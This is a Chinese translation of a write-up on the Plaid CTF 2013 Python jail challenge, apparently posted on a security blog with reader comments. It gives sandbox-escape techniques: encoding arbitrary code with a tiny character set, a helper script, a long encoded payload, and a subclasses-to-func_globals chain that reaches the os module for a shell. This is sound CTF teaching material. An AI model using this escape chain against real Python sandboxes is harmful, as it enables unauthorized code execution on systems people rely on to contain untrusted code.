译者:颖奇L’Amore

最近我在第三届BJDCTF(安恒DASCTF五月赛)出了一道名为PY me的Misc题,灵感就是来自于Plaid CTF 2013中的这道PyJail题目。因为相关中文分析较少,加之理论知识较多,特将此文章翻译为中文供大家参考。关于PY me的writeup以及我录制的讲解视频,相信安恒也会发,请持续关注。

基本都是手工翻译,虽然也参考了Google translate,大部分是直译,但是也有很多句子是变更了形式翻译的,实在讲不清楚的会加上【译者注】。语言只是交流的工具,以交流技术为主,不要过分在意句子的外文味道。

本文禁止任何形式的转载。


Python Jail是CTF中非常常见的题型。通常,对解释器的内部有着丰富的知识可以让你在做题中表现得更好。对于新手来说这有时候可能有点像黑魔法。Plaid CTF 2013有一个很具有挑战性的题目,它需要选手结合一些不同的技术和逻辑来做题。

这个题目在题目的服务器上开启了监听,每次连接过去就会启动一个新的Python脚本。根据题目信息可知,因为我们并不知道flag藏在哪,所以我们需要想办法得到shell。另一个非常重要的信息是题目使用的是Python2.6.6。

题目提供了脚本,可以从这里下载。译者注:下载链接已失效。译者注结束。

纵览

基本上它弄了一个Jail,然后会对用户输入进行一系列检查,检查通过后执行用户的输入。 在解释我们如何能bypass大部分保护措施(限制)并最终从Jail中escape之前,我将先介绍不同的保护措施。

from sys import modules
modules.clear()
del modules

sys.modules是一个包含了Python解释器启动以来导入的所有模块的字典。清除模块破坏了很多东西,会导致很多事情出现问题,因为通常一个标准函数会检查是否存在某个模块。 但是完全删除模块会破坏更多代码,因为现在检查本身就引发了异常!

下一步来设置PyJail环境的代码是:

__builtins__.__dict__.clear()
__builtins__ = None

这代码无需过多解释, 它清除了python用于查找其内建函数的字典,除非我们已经有了对内建函数的引用,否则我们就无法再使用它们了。

inp = _raw_input()
inp = inp.split()[0][:1900]
#Dick move: you also have to only use the characters that my solution did.
inp = inp.translate("".join(map(chr, xrange(256))),
'"!#$&*+-/0123456789;=>?ABCDEFGHIJKLMNOPQRSTUVWXYZ\\^ab
cdefghijklmnopqrstuvwxyz|')

基本上,这意味着我们的输入应小于或等于1900个字节,并且输入的字符必须包含于set([':', '%', "'", '', '(', ',', ')', '}', '{', '[', '.', ']', '<', '_', '~'])`这个字符集当中,分割符确保没有任何空格。非常值得注意的一件事情就是我们也可以使用大多数不可打印的字符,如果我们需要的话。

完成所有这些事情之后,接下来就是最有趣的部分了:代码执行! 代码执行处于两个不同的阶段,所以我们有双倍快乐:-)

exec 'a=' + _eval(inp, {}) in {}

别被迷惑了!这个eval()根本没在exec中。这个代码等价于:

cmd = 'a=' + _eval(inp, {})
exec cmd in {}

首先提醒一下,Python中的eval用于执行一个表达式并返回结果,而exec则可以编译并执行Python代码;简而言之,你可以使用exec来执行代码,而eval并不能执行代码。

译者注:eval()不能执行代码是不准确的,比如执行个print():

这是因为所有的函数调用都是表达式,而eval()正好执行表达式并返回结果,那么调用函数应该返回什么呢?当然是函数执行的结果了,所以eval()可以执行函数调用的相关代码;但例如选择结构、循环结构就不属于表达式,所以不能直接执行;但是想要执行他们也不是没有办法,因为exec()函数可以编译并执行Python语句,而exec()本身是个函数,所以eval("exec()")就可以了;特别注意的是,如果想要用eval()来执行代码,一定要记得用引号将你的表达式包裹起来。但是本题目的eval()确实不能执行命令,因为条件太苛刻了,如果再套一层eval()就可以了。译者注结束。

eval函数作为第二个参数的空字典,和exec之后的in {}是一个意思,即应该在新的空作用域内来评估代码。所以(理论上)我们不能从eval传递东西到exec,或者与外界有任何形式的互动。

译者注:简而言之,是个沙箱。译者注结束。

大部分python只是引用,并且我们可以在这里再次看到。 这些保护仅仅删除了引用。 原始的模块(例如os)和内建函数没有任何改变。 我们的任务很明确,我们需要找到有用的东西的引用,并使用它来找到文件系统上的Flag。 但是首先我们需要找到一种允许这种小字符执行代码的方法。

执行代码

我们如何仅仅通过set([':', '%', "'", '', '(', ',', ')', '}', '{', '[', '.', ']', '<', '_', '~'])`中的字符来获得代码呢?答案:用Python,Python非常有趣,让我们来试试吧。

我们拥有所有构建元组()、列表[]和字典{:}的东西。如果是Python2.7我们还可以通过{}来制造集合但很可惜现在不是。我们还可以使用''来创造字符串、用%来进行一些格式化。 显然,逗号在构建元组或列表中会有所帮助,并且点可能在对访问属性时有用。

我们还没有谈论<_`<是简单的运算符,可以用来做小于比较和按位取反。_可以使变量标识符有效,但是因为我们没有=所以也没什么用。

如果你像我一样不知道反引号到底做了什么在python2中你可能会惊讶。`x`repr(x)是完全等价的!这意味着我们可以将一些object转化成字符串

这些符号可能会有多种用处。%可以用来字符串格式化,也可以做整数的取模。<首先可以用来比较大小,其次如果是<<的形式可以用来做二进制的左偏移运算。

可以看到,大部分我们能够使用的字符都非常的有用,并且我敢说和没有这些符号相比,有这些符号会让制造python语句或字符串变得更加简单。

请记住我们有两个执行的阶段,首先是eval然后是execexec执行了eval的返回结果,所以我们可以认为eval是个decoder。那个1900字符的限制本应让你对它有很多思考,但是我们把它绕过了(正如我后面要解释的),这也是为什么我们没有对编码方案有过多的思考。

首先需要注意的一件事就是[]<[]False,这是非常有逻辑的。还有另一个难以解释但是对我们非常有用的东西就是{}<[]True的。

译者注:首先两个空列表比较大小返回False不必过多说明,两个相同的东西怎么可能会一大一小呢。但是必须要说明的是,字典和列表的大小比较仅仅在Python2中可用,如果是Python3会报错:TypeError: '<' not supported between instances of 'dict' and 'list' 而本题目环境刚好是Python2。所以本题一切的一切都要从这里开始。译者注结束。

TrueFalse在进行算术运算中表现为10。这将是用来构建我们的decoder的最基础部分,但我们仍然需要找到一种方法来实际生成任意字符串。

得到任意字符

让我们先从一个通用的解法开始,稍后再进行优化。通过使用True, False, ~, <<我们能够字符的ASCII值。但是我们需要str()或者%c一类的东西来将ASCII数值转成字符。这时候,不可见字符就要登场了!例如,\xcb并不是一个ASCII字符因为它的ASCII码大于127,但是在Python字符串中是可用的,当然我们也可以把它发给服务器。

如果我们使用`'_\xcb_'`来表示(为了测试我会发送0xcb而不是'\xcb'),那么我们就拥有了一个包含c的字符串。当然,我们还需要有%,而且是需要2个,也仅仅是2个。

译者注:使用反引号进行转字符串操作时,把\xcb这个单字符转换成了\ x c b这4个字符,于是就得到了c。译者注结束。

我们想要使用这个:`'%\xcb'`[1::3],通过True False来创造数字,于是我们就得到了:

`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]

译者注:这里`'%\xcb'`得到的是字符串"'%\\xcb'",再进行[1::3]切片得到%c。译者注结束。

搞定!现在我们只需先创造任意数字,然后再利用像上面那样的字符串索引和切片获取到%c % (number),这样通过格式化字符串就得到了任意字符。

在通过对True/False和不可见字符的表达式中来得到特定的字符时,这整个操作或许还能进一步优化。但是因为我需要去继续bypass长度限制,所以我没有继续深入研究如何优化。

得到任意数字

这是我在CTF比赛中失败的地方,所以导致了我在赛后5分钟才得到flag。如果我编写一些代码来自动化的获取任意数字,那么在我最终得到一个shell的时候就不会丢失任何的空格了。但是现在更重要的就是来实现自动化获取任意数字这件事。

如果你学过逻辑,那么你应该知道很多事情都可以通过“与非门”来完成。我们要做的事情和“与非门”非常相似,除了我们会使用乘2来代替AND(与)。接下来,我们不会使用到True。

所有事情都可以被False(0),~(not) 和<<(x2)来完成,下面是一个演示,我将演示如何通过使用~/2来把42转换为1,之后就可以使用~*2来还原这个过程。

 42 # /2
 21 # ~
-22 # /2
-11 # ~
 10 # /2
  5 # ~
 -6 # /2
 -3 # ~
  2 # /2
  1

True = ~(~(~(~(42/2)/2)/2)/2)/2/2

基本上,只要能除以2我们就尽可能的除以2,否则就进行按位取反。这样做有一个好处,就是在取反的时候我们可以保证以后可以除以2。这样最终我们能得到1、0或-1。

但是等等,我不是说我不会使用True/1吗?是的,我确实做到了,但我也撒谎了。我们会使用它,因为True显然比~(~False*2)要短,特别是考虑到了我们要使用True来实现x2操作,而在我们当前的条件下x2等价于<<({}<[])

所以现在我们把上面的过程反推回去,然后就得到了:

42 = ~(~(~(~(1*2)*2)*2)*2)*2

如果使用那些我们可以用的字符来表达这个表达式,应该是这样的:

42 = ~(~(~(~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])

在CTF中可以使用如下脚本一键得到任意数字:

def brainfuckize(nb):
    if nb in [-2, -1, 0, 1]:
        return ["~({}<[])", "~([]<[])",
		         "([]<[])",  "({}<[])"][nb+2]

    if nb % 2:
        return "~%s" % brainfuckize(~nb)
    else:
        return "(%s<<({}<[]))" % brainfuckize(nb/2)

我想知道使用作为模数是否可以优化其中一些表达式的长度。 如果您对此有任何想法,请随时与我讨论!

在黑暗中把他们结合在一起!

结合起来并不是一件容易的事,但是使用一些技巧就可以让这件事变得容易了。如果我们需要构造一个包含字符的列表,那么这个列表的表示形式就会包含所有这些字符(这是当然了),而且列表最好的地方就在于他们这些字符之间是等距的,所以只要一个简单的切片操作就能得到我们想要的字符串了。

>>> `['a', 'b', 'c', 'd']`[2::5]
'abcd'

>>> `['a', 'b', 'c', 'd']`[(({}<[])<<({}<[]))::~(~(({}<[])<<({}<[]))<<({}<[]))]
'abcd'

译者注:1.这里说的”列表的表示形式“原文是”the representation of that list”,作者的意思是,比如有一个['y', '1', 'n', 'g']的列表,那么['y', '1', 'n', 'g']就是他的表达形式,因为列表在python中就被这样输出,或者你把它理解为把一个列表做repr()了。2.这里原作者用了创建列表+列表转其表示形式也就是转字符串+字符串切片来获得想要的字符串,实际上更简单的方法是直接用+来把这些单字符拼接起来,但我并不确定字符串拼接的+在原题目中是否被支持,至少在第三届BJDCTF PY me中是被禁止使用的。译者注结束。

因为我们可以生成生成任意的数字和单字符,所以这个方法(指上面所述的得到字符串的方法)表现得非常不错。

但是依然要格外小心,因为这个方法并不是永远有效的,特别是当某个字符的表示形式是由多个字符构成的时候,比如但不限于\n, \t, \\等。不过我们很幸运,因为这些字符用的少,我们也不会用它们。

现在我们就可以从eval()来生成任意代码然后传递给exec()语句了!

在进入下一步之前,现在试试这一段可用的Python代码吧!

`[`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~(~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((((({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~(~((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((((({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((((({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))]`[(({}<[])<<({}<[]))::~(~(({}<[])<<({}<[]))<<({}<[]))]
Python的作用域

在现阶段,在尝试利用任何东西之前,我认为很有必要快速的来介绍一下python是如何处理作用域的。我不会解释所有关于它的知识,所以我强烈建议您阅读更多有关内容。 但是,如果你对Python处理和存储这些内容的方式都非常了解的话,就可以放心的跳过此部分了。

我将讨论两种变量,即全局变量和局部变量。 当然,在Python中引用数字、类或函数的变量的处理方式没有真正的区别。

全局变量

实际上,通常所说的全局变量实际上并不像C语言中的全局变量那样的全局。Python中的全局变量只是相对于定义它们的模块是全局的。 从外部模块访问它们时,可以用一下例子来测试:math.pi以访问模块math中名为pi的全局变量。

模块中的所有全局变量都存储在模块的__dict__中,该变量是模块的属性。 修改此__dict__就相当于在这个模块上使用setattr

可以通过sys.modules[__name__].__dict__获得当前模块的全局变量,或者更简单地通过调用globals()来获得全局变量。

本地变量

局部变量是在函数范围内定义的变量。 与全局变量的方式类似,局部变量也存储在字典中,该字典可以通过正在/曾经运行该函数的代码的f_locals属性进行访问。 在CPython实现中,修改f_locals不会影响实际的本地变量。

从外部

如果我们看一下math.cos的代码,我们可能会希望它使用math.pi,但是math.pi可能会被简称为pi。 当我们从数学之外的地方调用math.cos时,pi不会位于调用模块的全局变量中。 了解cos如何在pi上找到参考是很有意思的一件事。 在函数声明期间,对当前全局变量的引用保留在函数的func_globals属性中。

Exploiting

现在我们得到了大部分字符,想要代码执行就非常简单了(有些字符仍然是不能使用的,不过我们也不会用它们)。但是,还是有一些限制,没有内置的函数我们就不能访问模块,并且还有个字符限制。我决定先解决最后一个问题,这样以后这个问题就不会打扰我们了。

绕过长度限制

为了实现绕过长度限制,我将添加一个第三代码执行阶段(前面说一共有2个阶段),因为第二阶段(exec执行)可以被触发任意多次,并且可以被用来触发最终的Payload。所以,我们需要把它的query部分储存起来,然后再在它arrive的部分把它们联系起来。

我们需要找一个存东西的地方,这样我们可以再下一个exec时候再回来,当然寻找这样一个地方是非常容易的。

如果你以前做过关于Python Jail逃逸的相关题目,你对下面的内容应该会很熟悉。

().__class__.__base__.__subclasses__()

它得到了元祖类型(().__class__)的父类(__base__)对象,然后可以列出python所有已知的子类。在这里面我们就能找到一个能调用setattr的地方,确实我们很幸运的发现了:

>>> ().__class__.__base__.__subclasses__()[-2]
<class 'codecs.IncrementalDecoder'>

>>> ().__class__.__base__.__subclasses__()[-2].test = "wapiflapi"
>>> print ().__class__.__base__.__subclasses__()[-2].test
wapiflapi

所有这些代码在python2.6.6都是可以执行的。很幸运我们可以往里面存东西然后一会儿再返回来。这是我们第二阶段需要做的所有的事情。现在我们已经准备好eval去接受那些碎片,然后把他们存起来,并且在完成后最终执行整个Payload。

译者注:这里说的碎片就是上面构造任意字符的那些符号,通过eval()运算可以得到一个python代码,最后执行。译者注结束。

计划:

第一步:原始的eval()

  • 解密我们输入的东西来得到一个python的代码
  • 这一步绕过了长度限制

第二步:原始exec()

  • 联系上第一步的输出
  • 执行
  • 这一步也绕过了长度限制

第三步:通过第二步来exec()

  • payload被执行,于是我们得到了shell
  • 这一步我们成功逃逸

这基本上解决了长度限制问题,然后代码也很简单,一会儿我会把这些放在一起显示。我们首先先来了解一下如何逃逸

逃逸

我们想要得到一个shell,比如需要有system, execv, fork, dup,总之我们是想要有os模块。那么哪里能找到os模块呢?这时候我们就需要寻找os上具有引用的模块或者函数了,或者是在类似的引用上具有引用的模块或函数。这里就是考察经验的地方了,经验告诉我warnings模块在默认情况下就被加载了,并且还有很多不错的引用,如果我们能得到它的全局变量就好了。

我们通常会去尝试(在NDH Prequals也可用)这个:

>>> [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == "catch_warnings"][0]()._module
<module 'warnings' from '/usr/lib/python2.7/warnings.pyc'>

译者注:NDH Prequals是指2012年的一个比赛,叫NuitDuHack 2012 Prequals。译者注结束。

它直接就让我们得到模块了。这很容易,因为catch_warnings保存了一个对模块的引用。但是现在还不能直接使用因为catch_warnings使用了sys.modules去得到引用。(还记得吗,它们被.clear()了)

Traceback (most recent call last):
  File "/Python-2.6.6/Lib/warnings.py", line 333, in __init__
    self._module = sys.modules['warnings'] if module is None else module
KeyError: 'warnings'

但我们仍然有办法获取到引用,我们可以发现函数保留了其对定义的模块的全局引用,我们只要在catch_warnings中找一个函数就行了。

经过一番搜索我发现catch_warnings.__repr__是被.__repr__函数支持的。实际上,.__repr__本身并不能说成是一个函数,因为它是一个实例方法,但是使用__repr__.im_func是非常简单的。

然后只要使用func_global来获得warnings模块的全局变量就可以了。

>>> g_warnings = [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == "catch_warnings"][0].__repr__.im_func.func_globals
>>> print g_warnings["linecache"].os
<module 'os' from '/Python-2.6.6/Lib/os.pyc'>

warnings导入了linecache,然后反过来又导入了os。为了不会影响到sys.modules.clear()所造成的混乱,我们就什么都不导入了。

统一

现在我们什么都知道了,我们知道如何进行PyJail的逃逸,我们知道如何有足够的空间去这样做,我们还知道如何去制造那些我们想要用在代码里的字符。现在我们唯一要做的就是把他们都放在一起,这就非常简单了。

我要感谢PPP战队带来这场精彩的CTF比赛,我真的很享受。也感谢所有那些让我学到python和它的一些技巧的人们。


原作者:wapiflapi

英语原文链接:A python’s escape from PlaidCTF jail

中文版翻译:颖奇L’Amore


颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

2 条评论

xlcvv · 2020年5月24日 00:10

颖师傅tql

leohearts · 2020年6月27日 18:23

感谢, 学习了.
另外请问可否在0CTF结束后写一下Python3下的操作呢?

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image